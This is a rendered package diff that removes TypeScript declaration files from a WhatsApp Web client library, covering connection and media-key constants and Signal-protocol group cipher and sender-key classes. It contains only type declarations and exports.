/** from: https://stackoverflow.com/questions/3809401/what-is-a-good-regular-expression-to-match-a-url */
|
|
16
|
-
export declare const URL_REGEX: RegExp;
|
|
17
|
-
export declare const WA_CERT_DETAILS: {
|
|
18
|
-
SERIAL: number;
|
|
19
|
-
};
|
|
20
|
-
export declare const PROCESSABLE_HISTORY_TYPES: proto.Message.HistorySyncNotification.HistorySyncType[];
|
|
21
|
-
export declare const DEFAULT_CONNECTION_CONFIG: SocketConfig;
|
|
22
|
-
export declare const MEDIA_PATH_MAP: {
|
|
23
|
-
[T in MediaType]?: string;
|
|
24
|
-
};
|
|
25
|
-
export declare const MEDIA_HKDF_KEY_MAPPING: {
|
|
26
|
-
audio: string;
|
|
27
|
-
document: string;
|
|
28
|
-
gif: string;
|
|
29
|
-
image: string;
|
|
30
|
-
ppic: string;
|
|
31
|
-
product: string;
|
|
32
|
-
ptt: string;
|
|
33
|
-
sticker: string;
|
|
34
|
-
video: string;
|
|
35
|
-
'thumbnail-document': string;
|
|
36
|
-
'thumbnail-image': string;
|
|
37
|
-
'thumbnail-video': string;
|
|
38
|
-
'thumbnail-link': string;
|
|
39
|
-
'md-msg-hist': string;
|
|
40
|
-
'md-app-state': string;
|
|
41
|
-
'product-catalog-image': string;
|
|
42
|
-
'payment-bg-image': string;
|
|
43
|
-
ptv: string;
|
|
44
|
-
};
|
|
45
|
-
export declare const MEDIA_KEYS: ("ppic" | "product" | "image" | "video" | "sticker" | "audio" | "gif" | "ptt" | "thumbnail-document" | "thumbnail-image" | "thumbnail-link" | "thumbnail-video" | "md-app-state" | "md-msg-hist" | "document" | "product-catalog-image" | "payment-bg-image" | "ptv")[];
|
|
46
|
-
export declare const MIN_PREKEY_COUNT = 5;
|
|
47
|
-
export declare const INITIAL_PREKEY_COUNT = 30;
|
|
48
|
-
export declare const DEFAULT_CACHE_TTLS: {
|
|
49
|
-
SIGNAL_STORE: number;
|
|
50
|
-
MSG_RETRY: number;
|
|
51
|
-
CALL_OFFER: number;
|
|
52
|
-
USER_DEVICES: number;
|
|
53
|
-
};
|
|
@@ -1,9 +0,0 @@
|
|
|
1
|
-
export declare class CiphertextMessage {
|
|
2
|
-
readonly UNSUPPORTED_VERSION: number;
|
|
3
|
-
readonly CURRENT_VERSION: number;
|
|
4
|
-
readonly WHISPER_TYPE: number;
|
|
5
|
-
readonly PREKEY_TYPE: number;
|
|
6
|
-
readonly SENDERKEY_TYPE: number;
|
|
7
|
-
readonly SENDERKEY_DISTRIBUTION_TYPE: number;
|
|
8
|
-
readonly ENCRYPTED_MESSAGE_OVERHEAD: number;
|
|
9
|
-
}
|
|
@@ -1,14 +0,0 @@
|
|
|
1
|
-
import { SenderKeyDistributionMessage } from './sender-key-distribution-message';
|
|
2
|
-
import { SenderKeyName } from './sender-key-name';
|
|
3
|
-
import { SenderKeyRecord } from './sender-key-record';
|
|
4
|
-
interface SenderKeyStore {
|
|
5
|
-
loadSenderKey(senderKeyName: SenderKeyName): Promise<SenderKeyRecord>;
|
|
6
|
-
storeSenderKey(senderKeyName: SenderKeyName, record: SenderKeyRecord): Promise<void>;
|
|
7
|
-
}
|
|
8
|
-
export declare class GroupSessionBuilder {
|
|
9
|
-
private readonly senderKeyStore;
|
|
10
|
-
constructor(senderKeyStore: SenderKeyStore);
|
|
11
|
-
process(senderKeyName: SenderKeyName, senderKeyDistributionMessage: SenderKeyDistributionMessage): Promise<void>;
|
|
12
|
-
create(senderKeyName: SenderKeyName): Promise<SenderKeyDistributionMessage>;
|
|
13
|
-
}
|
|
14
|
-
export {};
|
|
@@ -1,17 +0,0 @@
|
|
|
1
|
-
import { SenderKeyName } from './sender-key-name';
|
|
2
|
-
import { SenderKeyRecord } from './sender-key-record';
|
|
3
|
-
export interface SenderKeyStore {
|
|
4
|
-
loadSenderKey(senderKeyName: SenderKeyName): Promise<SenderKeyRecord>;
|
|
5
|
-
storeSenderKey(senderKeyName: SenderKeyName, record: SenderKeyRecord): Promise<void>;
|
|
6
|
-
}
|
|
7
|
-
export declare class GroupCipher {
|
|
8
|
-
private readonly senderKeyStore;
|
|
9
|
-
private readonly senderKeyName;
|
|
10
|
-
constructor(senderKeyStore: SenderKeyStore, senderKeyName: SenderKeyName);
|
|
11
|
-
private queueJob;
|
|
12
|
-
encrypt(paddedPlaintext: Uint8Array | string): Promise<Uint8Array>;
|
|
13
|
-
decrypt(senderKeyMessageBytes: Uint8Array): Promise<Uint8Array>;
|
|
14
|
-
private getSenderKey;
|
|
15
|
-
private getPlainText;
|
|
16
|
-
private getCipherText;
|
|
17
|
-
}
|
|
@@ -1,11 +0,0 @@
|
|
|
1
|
-
export { GroupSessionBuilder } from './group-session-builder';
|
|
2
|
-
export { SenderKeyDistributionMessage } from './sender-key-distribution-message';
|
|
3
|
-
export { SenderKeyRecord } from './sender-key-record';
|
|
4
|
-
export { SenderKeyName } from './sender-key-name';
|
|
5
|
-
export { GroupCipher } from './group_cipher';
|
|
6
|
-
export { SenderKeyState } from './sender-key-state';
|
|
7
|
-
export { SenderKeyMessage } from './sender-key-message';
|
|
8
|
-
export { SenderMessageKey } from './sender-message-key';
|
|
9
|
-
export { SenderChainKey } from './sender-chain-key';
|
|
10
|
-
export { CiphertextMessage } from './ciphertext-message';
|
|
11
|
-
export * as keyhelper from './keyhelper';
|
|
@@ -1,10 +0,0 @@
|
|
|
1
|
-
import { generateKeyPair } from 'libsignal/src/curve';
|
|
2
|
-
type KeyPairType = ReturnType<typeof generateKeyPair>;
|
|
3
|
-
export declare function generateSenderKey(): Buffer;
|
|
4
|
-
export declare function generateSenderKeyId(): number;
|
|
5
|
-
export interface SigningKeyPair {
|
|
6
|
-
public: Buffer;
|
|
7
|
-
private: Buffer;
|
|
8
|
-
}
|
|
9
|
-
export declare function generateSenderSigningKey(key?: KeyPairType): SigningKeyPair;
|
|
10
|
-
export {};
|
|
@@ -1 +0,0 @@
|
|
|
1
|
-
export default function queueJob<T>(bucket: string | number, awaitable: () => Promise<T>): Promise<T>;
|
|
@@ -1,13 +0,0 @@
|
|
|
1
|
-
import { SenderMessageKey } from './sender-message-key';
|
|
2
|
-
export declare class SenderChainKey {
|
|
3
|
-
private readonly MESSAGE_KEY_SEED;
|
|
4
|
-
private readonly CHAIN_KEY_SEED;
|
|
5
|
-
private readonly iteration;
|
|
6
|
-
private readonly chainKey;
|
|
7
|
-
constructor(iteration: number, chainKey: any);
|
|
8
|
-
getIteration(): number;
|
|
9
|
-
getSenderMessageKey(): SenderMessageKey;
|
|
10
|
-
getNext(): SenderChainKey;
|
|
11
|
-
getSeed(): Uint8Array;
|
|
12
|
-
private getDerivative;
|
|
13
|
-
}
|
|
@@ -1,16 +0,0 @@
|
|
|
1
|
-
import { CiphertextMessage } from './ciphertext-message';
|
|
2
|
-
export declare class SenderKeyDistributionMessage extends CiphertextMessage {
|
|
3
|
-
private readonly id;
|
|
4
|
-
private readonly iteration;
|
|
5
|
-
private readonly chainKey;
|
|
6
|
-
private readonly signatureKey;
|
|
7
|
-
private readonly serialized;
|
|
8
|
-
constructor(id?: number | null, iteration?: number | null, chainKey?: Uint8Array | null, signatureKey?: Uint8Array | null, serialized?: Uint8Array | null);
|
|
9
|
-
private intsToByteHighAndLow;
|
|
10
|
-
serialize(): Uint8Array;
|
|
11
|
-
getType(): number;
|
|
12
|
-
getIteration(): number;
|
|
13
|
-
getChainKey(): Uint8Array;
|
|
14
|
-
getSignatureKey(): Uint8Array;
|
|
15
|
-
getId(): number;
|
|
16
|
-
}
|